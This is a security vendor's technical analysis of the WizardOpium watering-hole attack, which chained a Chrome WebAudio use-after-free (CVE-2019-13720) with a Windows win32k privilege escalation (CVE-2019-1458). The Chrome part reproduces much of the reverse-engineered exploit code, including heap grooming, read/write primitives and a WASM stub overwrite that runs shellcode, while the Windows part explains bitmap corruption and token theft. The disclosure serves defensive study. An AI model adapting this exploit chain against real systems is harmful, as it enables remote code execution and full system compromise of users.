The zero-day exploits of Operation WizardOpium

securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086

Boris Larin, Alexey Kulaev

Back in October 2019 we detected a classic watering-hole attack on a North Korea-related news site that exploited a chain of Google Chrome and Microsoft Windows zero-days. While we've already published blog posts briefly describing this operation (available here and here), in this blog post we'd like to take a deep technical dive into the exploits and vulnerabilities used in this attack.

Google Chrome remote code execution exploit

In the original blog post we described the exploit loader responsible for initial validation of the target and execution of the next stage JavaScript code containing the full browser exploit. The exploit is huge because, besides code, it contains byte arrays with shellcode, a Portable Executable (PE) file and WebAssembly (WASM) module used in the later stages of exploitation. The exploit abused a vulnerability in the WebAudio OfflineAudioContext interface and was targeting two release builds of Google Chrome 76.0.3809.87 and 77.0.3865.75. However, the vulnerability was introduced long before that and much earlier releases with a WebAudio component are also vulnerable. At the time of our discovery the current version of Google Chrome was 78, and while this version was also affected, the exploit did not support it and had a number of checks to ensure that it would only be executed on affected versions to prevent crashes. After our report, the vulnerability was assigned CVE-2019-13720 and was fixed in version 78.0.3904.87 with the following commit. A use-after-free (UAF) vulnerability, it could be triggered due to a race condition between the Render and Audio threads:

```
1     if (!buffer) {
2   + BaseAudioContext::GraphAutoLocker context_locker(Context());
3   + MutexLocker locker(process_lock_);
4   reverb_.reset();
5   shared_buffer_ = nullptr;
6   return;
```

As you can see, when the audio buffer is set to null in ConvolverNode and an active buffer already exists within the Reverb object, the function SetBuffer() can destroy reverb_ and shared_buffer_ objects.

```
1   class MODULES_EXPORT ConvolverHandler final : public AudioHandler {
2   ...
3     std::unique_ptr<Reverb> reverb_;
4     std::unique_ptr<SharedAudioBuffer> shared_buffer_;
5   ...
```

These objects might still be in use by the Render thread because there is no proper synchronization between the two threads in the code. A patch added two missing locks (graph lock and process lock) for when the buffer is nullified.

The exploit code was obfuscated, but we were able to fully reverse engineer it and reveal all the small details. By looking at the code, we can see the author of the exploit has excellent knowledge of the internals of specific Google Chrome components, especially the PartitionAlloc memory allocator. This can clearly be seen from the snippets of reverse engineered code below. These functions are used in the exploit to retrieve useful information from internal structures of the allocator, including: SuperPage address, PartitionPage address by index inside the SuperPage, the index of the used PartitionPage and the address of PartitionPage metadata. All constants are taken from partition_alloc_constants.h:

```
1   function getSuperPageBase(addr) {
2   let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
3   let superPageBaseMask = ~superPageOffsetMask;
4   let superPageBase = addr & superPageBaseMask;
5   return superPageBase;
6   }
7   function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {
8   let superPageBase = getSuperPageBase(addr);
9   let partitionPageBase = partitionPageIndex << BigInt(14);
10  let finalAddr = superPageBase + partitionPageBase;
11  return finalAddr;
12  }
13  function getPartitionPageIndex(addr) {
14  let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
15  let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
16  return partitionPageIndex;
17  }
18  function getMetadataAreaBaseFromPartitionSuperPage(addr) {
19  let superPageBase = getSuperPageBase(addr);
20  let systemPageSize = BigInt(0x1000);
21  return superPageBase + systemPageSize;
22  }
23  function getPartitionPageMetadataArea(addr) {
24  let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
25  let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
26  let pageMetadataSize = BigInt(0x20);
27  let partitionPageMetadataPtr =
28  getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex *
29  pageMetadataSize;
30  return partitionPageMetadataPtr;
31  }
32
33
```

It’s interesting that the exploit also uses the relatively new built-in BigInt class to handle 64-bit values; authors usually use their own primitives in exploits.

At first, the code initiates OfflineAudioContext and creates a huge number of IIRFilterNode objects that are initialized via two float arrays.

```
let gcPreventer = [];
let iirFilters = [];
function initialSetup() {
let audioCtx = new OfflineAudioContext(1, 20, 3000);
let feedForward = new Float64Array(2);
let feedback = new Float64Array(1);
feedback[0] = 1;
feedForward[0] = 0;
feedForward[1] = -1;
for (let i = 0; i < 256; i++)
        iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));
}
```

After that, the exploit begins the initial stage of exploitation and tries to trigger a UAF bug. For that to work the exploit creates the objects that are needed for the Reverb component. It creates another huge OfflineAudioContext object and two ConvolverNode objects – ScriptProcessorNode to start audio processing and AudioBuffer for the audio channel.

```
async function triggerUaF(doneCb) {
let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);
let bufferSource = audioCtx.createBufferSource();
let convolver = audioCtx.createConvolver();
let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
let channelBuffer = audioCtx.createBuffer(1, 1, 48000);
convolver.buffer = channelBuffer;
bufferSource.buffer = channelBuffer;
bufferSource.loop = true;
bufferSource.loopStart = 0;
bufferSource.loopEnd = 1;
channelBuffer.getChannelData(0).fill(0);
bufferSource.connect(convolver);
convolver.connect(scriptNode);
scriptNode.connect(audioCtx.destination);
bufferSource.start();
let finished = false;
scriptNode.onaudioprocess = function(evt) {
    let channelDataArray = new
Uint32Array(evt.inputBuffer.getChannelData(0).buffer);
    for (let j = 0; j < channelDataArray.length; j++) {
        if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channel-
DataArray[j + 1] != 0) {
            let u64Array = new BigUint64Array(1);
            let u32Array = new Uint32Array(u64Array.buffer);
            u32Array[0] = channelDataArray[j + 0];
            u32Array[1] = channelDataArray[j + 1];
            let leakedAddr = byteSwapBigInt(u64Array[0]);
            if (leakedAddr >> BigInt(32) > BigInt(0x8000))
                leakedAddr -= BigInt(0x800000000000);
            let superPageBase = getSuperPageBase(leakedAddr);
```

```
32              if (superPageBase > BigInt(0xFFFFFFFF) && superPageBase <
33  BigInt(0xFFFFFFFFFFFF)) {
34                  finished = true;
35                  evt = null;
36                  bufferSource.disconnect();
37                  scriptNode.disconnect();
38                  convolver.disconnect();
39                  setTimeout(function() {
40                      doneCb(leakedAddr);
41                  }, 1);
42                  return;
43              }
44          }
45      }
46  };
47  audioCtx.startRendering().then(function(buffer) {
48      buffer = null;
49      if (!finished) {
50          finished = true;
51           triggerUaF(doneCb);
52      }
53  });
54  while (!finished) {
55      convolver.buffer = null;
56      convolver.buffer = channelBuffer;
57      await later(100); // wait 100 millseconds
58  }
59  };
60
61
62
63
64
65
66
67
68
69
70
71
72
```

This function is executed recursively. It fills the audio channel buffer with zeros, starts rendering offline and at the same time runs a loop that nullifies and resets the channel buffer of the ConvolverNode object and tries to trigger a bug. The exploit uses the later() function to simulate the Sleep function, suspend the current thread and let the Render and Audio threads finish execution right on time:

```
1  function later(delay) {
2  return new Promise(resolve => setTimeout(resolve, delay));
3  }
```

During execution the exploit checks if the audio channel buffer contains any data that differs from the previously set zeroes. The existence of such data would mean the UAF was triggered successfully and at this stage the audio channel buffer should contain a leaked pointer.

The PartitionAlloc memory allocator has a special exploit mitigation that works as follows: when the memory region is freed, it byteswaps the address of the pointer and after that the byteswapped address is added to the FreeList structure. This complicates exploitation because the attempt to dereference such a pointer will crash the process. To bypass this technique the exploit uses the following primitive that simply swaps the pointer back:

```
function byteSwapBigInt(x) {
let result = BigInt(0);
let tmp = x;
for (let i = 0; i < 8; i++) {
    result = result << BigInt(8);
    result += tmp & BigInt(0xFF);
    tmp = tmp >> BigInt(8);
}
return result;
}


```

The exploit uses the leaked pointer to get the address of the SuperPage structure and verifies it. If everything goes to plan, then it should be a raw pointer to a temporary_buffer_ object of the ReverbConvolverStage class that is passed to the callback function *initialUAFCallback*.

```
let sharedAudioCtx;
let iirFilterFeedforwardAllocationPtr;
function initialUAFCallback(addr) {
sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);
let partitionPageIndexDelta = undefined;
switch (majorVersion) {
    case 77: // 77.0.3865.75
        partitionPageIndexDelta = BigInt(-26);
        break;
    case 76: // 76.0.3809.87
        partitionPageIndexDelta = BigInt(-25);
         break;
}
iirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr,
getPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);
   triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAF-
Callback);
}


```

The exploit uses the leaked pointer to get the address of the raw pointer to the *feedforward_* array with the AudioArray<double> type that is present in the IIRProcessor object created with IIRFilterNode. This array should be located in the same SuperPage, but in different versions of

Chrome this object is created in different PartitionPages and there is a special code inside initialUAFCallback to handle that.

The vulnerability is actually triggered not once but twice. After the address of the right object is acquired, the vulnerability is exploited again. This time the exploit uses two AudioBuffer objects of different sizes, and the previously retrieved address is sprayed inside the larger AudioBuffer. This function also executes recursively.

```
let floatArray = new Float32Array(10);
let audioBufferArray1 = [];
let audioBufferArray2 = [];
let imageDataArray = [];
async function triggerSecondUAF(addr, doneCb) {
let counter = 0;
let numChannels = 1;
let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);
let bufferSource = audioCtx.createBufferSource();
let convolver = audioCtx.createConvolver();
let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);
let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);
smallAudioBuffer.getChannelData(0).fill(0);
for (let i = 0; i < numChannels; i++) {
    let channelDataArray = new
BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
    channelDataArray[0] = addr;
}
bufferSource.buffer = bigAudioBuffer;
convolver.buffer = smallAudioBuffer;
bufferSource.loop = true;
bufferSource.loopStart = 0;
bufferSource.loopEnd = 1;
bufferSource.connect(convolver);
convolver.connect(audioCtx.destination);
bufferSource.start();
let finished = false;
    audioCtx.startRendering().then(function(buffer) {
    buffer = null;
    if (finished) {
        audioCtx = null;
        setTimeout(doneCb, 200);
        return;
    } else {
        finished = true;
        setTimeout(function() {
            triggerSecondUAF(addr, doneCb);
        }, 1);
    }
});
while (!finished) {
    counter++;
    convolver.buffer = null;
    await later(1); // wait 1 millisecond
    if (finished)
```

```
46          break;
47      for (let i = 0; i < iirFilters.length; i++) {
48          floatArray.fill(0);
49              iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
50          if (floatArray[0] != 3.1415927410125732) {
51              finished = true;
52                  audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
53                 audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
54              bufferSource.disconnect();
55              convolver.disconnect();
56              return;
57          }
58      }
59      convolver.buffer = smallAudioBuffer;
60      await later(1); // wait 1 millisecond
61  }
62  }
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
```

This time the exploit uses the function *getFrequencyResponse()* to check if exploitation was successful. The function creates an array of frequencies that is filled with a Nyquist filter and the source array for the operation is filled with zeroes.

```
1    void IIRDSPKernel::GetFrequencyResponse(int n_frequencies,
2                                            const float* frequency_hz,
3                                            float* mag_response,
4                                            float* phase_response) {
5    ...
6      Vector<float> frequency(n_frequencies);
7      double nyquist = this->Nyquist();
8      // Convert from frequency in Hz to normalized frequency (0 -> 1),
9      // with 1 equal to the Nyquist frequency.
10     for (int k = 0; k < n_frequencies; ++k)
11   frequency[k] = frequency_hz[k] / nyquist;
12   ...
```

If the resulting array contains a value other than **π,** it means exploitation was successful. If that's the case, the exploit stops its recursion and executes the function *finalUAFCallback* to allocate the audio channel buffer again and reclaim the previously freed memory. This function also repairs the heap to prevent possible crashes by allocating various objects of different sizes and performing defragmentation of the heap. The exploit also creates BigUint64Array, which is used later to create an arbitrary read/write primitive.

```
async function finalUAFCallback() {
for (let i = 0; i < 256; i++) {
    floatArray.fill(0);
        iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
    if (floatArray[0] != 3.1415927410125732) {
        await collectGargabe();
        audioBufferArray2 = [];
        for (let j = 0; j < 80; j++)
            audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));
        iirFilters = new Array(1);
         await collectGargabe();
        for (let j = 0; j < 336; j++)
            imageDataArray.push(new ImageData(1, 2));
        imageDataArray = new Array(10);
        await collectGargabe();
        for (let j = 0; j < audioBufferArray1.length; j++) {
            let auxArray = new
BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
            if (auxArray[0] != BigInt(0)) {
                kickPayload(auxArray);
                return;
            }
            }
        return;
    }
}
}
```

Heap defragmentation is performed with multiple calls to the improvised *collectGarbage* function that creates a huge ArrayBuffer in a loop.

```
function collectGargabe() {
let promise = new Promise(function(cb) {
    let arg;
    for (let i = 0; i < 400; i++)
        new ArrayBuffer(1024 * 1024 * 60).buffer;
    cb(arg);
});
return promise;
}
```

After those steps, the exploit executes the function *kickPayload()* passing the previously created BigUint64Array containing the raw pointer address of the previously freed AudioArray's data.

```
async function kickPayload(auxArray) {
let audioCtx = new OfflineAudioContext(1, 1, 3000);
let partitionPagePtr =
getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
auxArray[0] = byteSwapBigInt(partitionPagePtr);
let i = 0;
do {
    gcPreventer.push(new ArrayBuffer(8));
    if (++i > 0x100000)
        return;
} while (auxArray[0] != BigInt(0));
let freelist = new BigUint64Array(new ArrayBuffer(8));
gcPreventer.push(freelist);
...
```

The exploit manipulates the PartitionPage metadata of the freed object to achieve the following behavior. If the address of another object is written in BigUint64Array at index zero and if a new 8-byte object is created and the value located at index 0 is read back, then a value located at the previously set address will be read. If something is written at index 0 at this stage, then this value will be written to the previously set address instead.

```
function read64(rwHelper, addr) {
rwHelper[0] = addr;
var tmp = new BigUint64Array;
tmp.buffer;
gcPreventer.push(tmp);
return byteSwapBigInt(rwHelper[0]);
}
function write64(rwHelper, addr, value) {
rwHelper[0] = addr;
var tmp = new BigUint64Array(1);
tmp.buffer;
tmp[0] = value;
gcPreventer.push(tmp);
}

```

After the building of the arbitrary read/write primitives comes the final stage – executing the code. The exploit achieves this by using a popular technique that exploits the Web Assembly (WASM) functionality. Google Chrome currently allocates pages for just-in-time (JIT) compiled code with read/write/execute (RWX) privileges and this can be used to overwrite them with shellcode. At first, the exploit initiates a “dummy” WASM module and it results in the allocation of memory pages for JIT compiled code.

```
const wasmBuffer = new Uint8Array([...]);
const wasmBlob = new Blob([wasmBuffer], {
type: "application/wasm"
});
const wasmUrl = URL.createObjectURL(wasmBlob);
var wasmFuncA = undefined;
WebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {
wasmFuncA = result.instance.exports.a;
});

```

To execute the exported function *wasmFuncA*, the exploit creates a FileReader object. When this object is initiated with data it creates a FileReaderLoader object internally. If you can parse PartitionAlloc allocator structures and know the size of the next object that will be allocated, you can predict which address it will be allocated to. The exploit uses the *getPartitionPageFreeListHeadEntryBySlotSize()* function with the provided size and gets the address of the next free block that will be allocated by FileReaderLoader.

```
let fileReader = new FileReader;
let fileReaderLoaderSize = 0x140;
let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist,
iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (!fileReaderLoaderPtr)
return;
fileReader.readAsArrayBuffer(new Blob([]));
let fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freel-
ist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)
return;
```

The exploit obtains this address twice to find out if the FileReaderLoader object was created and if the exploit can continue execution. The exploit sets the exported WASM function to be a callback for a FileReader event (in this case, an onerror callback) and because the FileReader type is derived from EventTargetWithInlineData, it can be used to get the addresses of all its events and the address of the JIT compiled exported WASM function.

```
fileReader.onerror = wasmFuncA;
let fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) -
BigInt(0x68);
let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));
let registeredEventListenerPtr = read64(freelist, vectorPtr);
let eventListenerPtr = read64(freelist, registeredEventListenerPtr);
let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));
let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));
let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);
let sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);
let wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr +
BigInt(0x8)) - BigInt(1);
let wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr +
BigInt(0x10)) - BigInt(1);
let stubAddrFieldOffset = undefined;
switch (majorVersion) {
case 77:
    stubAddrFieldOffset = BigInt(0x8) * BigInt(16);
break;
case 76:
    stubAddrFieldOffset = BigInt(0x8) * BigInt(17);
break
}
let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);


```

The variable stubAddr contains the address of the page with the stub code that jumps to the JIT compiled WASM function. At this stage it's sufficient to overwrite it with shellcode. To do so, the exploit uses the function *getPartitionPageFreeListHeadEntryBySlotSize()* again to find the next free block of 0x20 bytes, which is the size of the structure for the ArrayBuffer object. This object is created when the exploit creates a new audio buffer.

```
let arrayBufferSize = 0x20;
let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilter-
FeedforwardAllocationPtr, arrayBufferSize);
if (!arrayBufferPtr)
return;
let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);
gcPreventer.push(audioBuffer);
```

The exploit uses arbitrary read/write primitives to get the address of the DataHolder class that contains the raw pointer to the data and size of the audio buffer. The exploit overwrites this pointer with stubAddr and sets a huge size.

```
let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));
write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);
write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));

```

Now all that's needed is to implant a Uint8Array object into the memory of this audio buffer and place shellcode there along with the Portable Executable that will be executed by the shellcode.

```
1  let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);
2  payloadArray.set(shellcode, 0);
3  payloadArray.set(peBinary, shellcode.length);
```

To prevent the possibility of a crash the exploit clears the pointer to the top of the FreeList structure used by the PartitionPage.

```
1  write64(freelist, partitionPagePtr, BigInt(0));
```

Now, in order to execute the shellcode, it's enough to call the exported WASM function.

```
1  try {
2  wasmFuncA();
3  } catch (e) {}
```

Microsoft Windows elevation of privilege exploit

The shellcode appeared to be a Reflective PE loader for the Portable Executable module that was also present in the exploit. This module mostly consisted of the code to escape Google Chrome's sandbox by exploiting the Windows kernel component win32k for the elevation of privileges and it was also responsible for downloading and executing the actual malware. On closer analysis, we found that the exploited vulnerability was in fact a zero-day. We notified Microsoft Security Response Center and they assigned it CVE-2019-1458 and fixed the vulnerability. The win32k component has something of bad reputation. It has been present since Windows NT 4.0 and, according to Microsoft, it is responsible for more than 50% of all kernel security bugs. In the last two years alone Kaspersky has found five zero-days in the wild that exploited win32k vulnerabilities. That's quite an interesting statistic considering that since the release of Windows 10, Microsoft has implemented a number of mitigations aimed at complicating exploitation of win32k vulnerabilities and the majority of zero-days that we found exploited versions of Microsoft Windows prior to the release of Windows 10 RS4. The elevation of privilege exploit used in Operation WizardOpium was built to support Windows 7, Windows 10 build 10240 and Windows 10 build 14393. It's also important to note that Google Chrome has a special security feature called Win32k lockdown developed and supported by James Forshaw of Google Project Zero. This security feature eliminates the whole win32k attack surface by disabling access to win32k syscalls from inside Chrome processes. Unfortunately, Win32k lockdown is only supported on machines running Windows 10. So, it's fair to assume that Operation WizardOpium targeted users running Windows 7.

CVE-2019-1458 is an Arbitrary Pointer Dereference vulnerability. In win32k Window objects are represented by a tagWND structure. There are also a number of classes based on this structure: ScrollBar, Menu, Listbox, Switch and many others. The FNID field of tagWND structure is used to distinguish the type of class. Different classes also have various extra data appended to the tagWND structure. This extra data is basically just different structures that often include kernel pointers. Besides that, in the win32k component there's a syscall SetWindowLongPtr that can be

used to set this extra data (after validation of course). It's worth noting that SetWindowLongPtr was related to a number of vulnerabilities in the past (e.g., CVE-2010-2744, CVE-2016-7255, and CVE-2019-0859). There's a common issue when pre-initialized extra data can lead to system procedures incorrectly handling. In the case of CVE-2019-1458, the validation performed by SetWindowLongPtr was just insufficient.

```
1  xxxSetWindowLongPtr(tagWND *pwnd, int index, QWORD data, ...)
2  ...
3  if ( (int)index >= gpsi->mpFnid_serverCBWndProc[(pwnd->fnid & 0x3FFF) - 0x29A]
4  - sizeof(tagWND) )
5  ...
6  extraData = (BYTE*)tagWND + sizeof(tagWND) + index
7  old = *(QWORD*)extraData;
8  *(QWORD*)extraData = data;
   return old;
```

A check for the index parameter would have prevented this bug, but prior to the patch the values for FNID_DESKTOP, FNID_SWITCH, FNID_TOOLTIPS inside the mpFnid_serverCBWndProc table were not initialized, rendering this check useless and allowing the kernel pointers inside the extra data to be overwritten.

Triggering the bug is quite simple: at first, you create a Window, then NtUserMessageCall can be used to call any system class window procedure.

```
1  gpsi->mpFnidPfn[(dwType + 6) & 0x1F]((tagWND *)wnd, msg, wParam, lParam,
   resultInfo);
```

It's important to provide the right message and dwType parameters. The message needs to be equal to WM_CREATE. dwType is converted to fnIndex internally with the following calculation: (dwType + 6) & 0x1F. The exploit uses a dwType equal to 0xE0. It results in an fnIndex equal to 6 which is the function index of *xxxSwitchWndProc* and the WM_CREATE message sets the FNID field to be equal to FNID_SWITCH.

```
1   LRESULT xxxSwitchWndProc(tagWND *wnd, UINT msg, WPARAM wParam,
2   LPARAM lParam)
3   {
4   ...
5     pti = *(tagTHREADINFO **)&gptiCurrent;
6     if ( wnd->fnid != FNID_SWITCH )
7     {
8       if ( wnd->fnid || wnd->cbwndExtra + 296 < (unsigned int)gpsi->mpFnid_server-
9   CBWndProc[6] )
10        return 0i64;
11      if ( msg != 1 )
12        return xxxDefWindowProc(wnd, msg, wParam, lParam);
13      if ( wnd[1].head.h )
14        return 0i64;
15      wnd->fnid = FNID_SWITCH;
16    }
17    switch ( msg )
18    {
19      case WM_CREATE:
20        zzzSetCursor(wnd->pcls->spcur, pti, 0i64);
21        break;
22      case WM_CLOSE:
23        xxxSetWindowPos(wnd, 0, 0);
24        xxxCancelCoolSwitch();
25        break;
26      case WM_ERASEBKGND:
27      case WM_FULLSCREEN:
28        pti->ptl = (_TL *)&pti->ptl;
29        ++wnd->head.cLockObj;
30        xxxPaintSwitchWindow(wnd, pti, 0i64);
31        ThreadUnlock1();
32        return 0i64;
33    }
      return xxxDefWindowProc(wnd, msg, wParam, lParam);
    }
```

The vulnerability in *NtUserSetWindowLongPtr* can then be used to overwrite the extra data at index zero, which happens to be a pointer to a structure containing information about the Switch Window. In other words, the vulnerability makes it possible to set some arbitrary kernel pointer that will be treated as this structure.

At this stage it's enough to call *NtUserMessageCall* again, but this time with a message equal to WM_ERASEBKGND. This results in the execution of the function *xxxPaintSwitchWindow* that increments and decrements a couple of integers located by the pointer that we previously set.

```
1   sub     [rdi+60h], ebx
2   add     [rdi+68h], ebx
3   ...
4   sub     [rdi+5Ch], ecx
5   add     [rdi+64h], ecx
```

An important condition for triggering the exploitable code path is that the ALT key needs to be pressed.

Exploitation is performed by abusing Bitmaps. For successful exploitation a few Bitmaps need to be allocated next to each other, and their kernel addresses need to be known. To achieve this, the exploit uses two common kernel ASLR bypass techniques. For Windows 7 and Windows 10 build 10240 (Threshold 1) the Bitmap kernel addresses are leaked via the GdiSharedHandleTable technique: in older versions of the OS there is a special table available in the user level that holds the kernel addresses of all GDI objects present in the process. This particular technique was patched in Windows 10 build 14393 (Redstone 1), so for this version the exploit uses another common technique that abuses Accelerator Tables (patched in Redstone 2). It involves creating a Create Accelerator Table object, leaking its kernel address from the gSharedInfo HandleTable available in the user level, and then freeing the Accelerator Table object and allocating a Bitmap reusing the same memory address.

The whole exploitation process works as follows: the exploit creates three bitmaps located next to each other and their addresses are leaked. The exploit prepares Switch Window and uses a vulnerability in NtUserSetWindowLongPtr to set an address pointing near the end of the first Bitmap as Switch Window extra data. Bitmaps are represented by a SURFOBJ structure and the previously set address needs to be calculated in a way that will make the xxxPaintSwitchWindow function increment the sizlBitmap field of the SURFOBJ structure for the Bitmap allocated next to the first one. The sizlBitmap field indicates the bounds of the pixel data buffer and the incremented value will allow the use of the function SetBitmapBits() to perform an out-of-bounds write and overwrite the SURFOBJ of the third Bitmap object.

The pvScan0 field of the SURFOBJ structure is an address of the pixel data buffer, so the ability to overwrite it with an arbitrary pointer results in arbitrary read/write primitives via the functions GetBitmapBits()/SetBitmapBits(). The exploit uses these primitives to parse the EPROCESS structure and steal the system token. To get the kernel address of the EPROCESS structure, the exploit uses the function EnumDeviceDrivers. This function works according to its MSDN description and it provides a list of kernel addresses for currently loaded drivers. The first address in the list is the address of ntkrnl and to get the offset to the EPROCESS structure the exploit parses an executable in search for the exported PsInitialSystemProcess variable.

It’s worth noting that this technique still works in the latest versions of Windows (tested with Windows 10 19H1 build 18362). Stealing the system token is the most common post exploitation technique that we see in the majority of elevation of privilege exploits. After acquiring system privileges the exploit downloads and executes the actual malware.

Conclusions

It was particularly interesting for us to examine the Chrome exploit because it was the first Google Chrome in-the-wild zero-day encountered for a while. It was also interesting that it was used in combination with an elevation of privilege exploit that didn’t allow exploitation on the latest versions of Windows mostly due to the Win32k lockdown security feature of Google Chrome. With regards to privilege elevation, it was also interesting that we found another 1-day exploit for this vulnerability just one week after the patch, indicating how simple it is to exploit this vulnerability.

We would like to thank the Google Chrome and Microsoft security teams for fixing these vulnerabilities so quickly. Google was generous enough to offer a bounty for CVE-2019-13720. The reward was donated to charity and Google matched the donation.